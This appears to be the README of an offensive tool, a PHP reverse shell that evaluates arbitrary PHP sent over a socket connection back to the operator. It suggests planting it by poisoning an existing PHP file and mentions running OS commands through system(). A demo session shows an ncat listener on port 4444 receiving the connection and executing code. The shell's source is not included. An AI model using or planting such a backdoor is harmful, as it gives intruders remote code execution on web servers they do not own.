A reverse shell that lets you evaluate PHP.
This is not an OS command reverse shell per-se but you could eval a function like system("id")
for that if you wanted to.
Useful to poison an existing PHP file and explore the currently loaded environment.
With the PHP code running somewhere, you should receive a socket connection where you can pass valid PHP to be evaluated.
❯ ncat -lp 4444
OK
rand();
974072989
system("echo 1");
1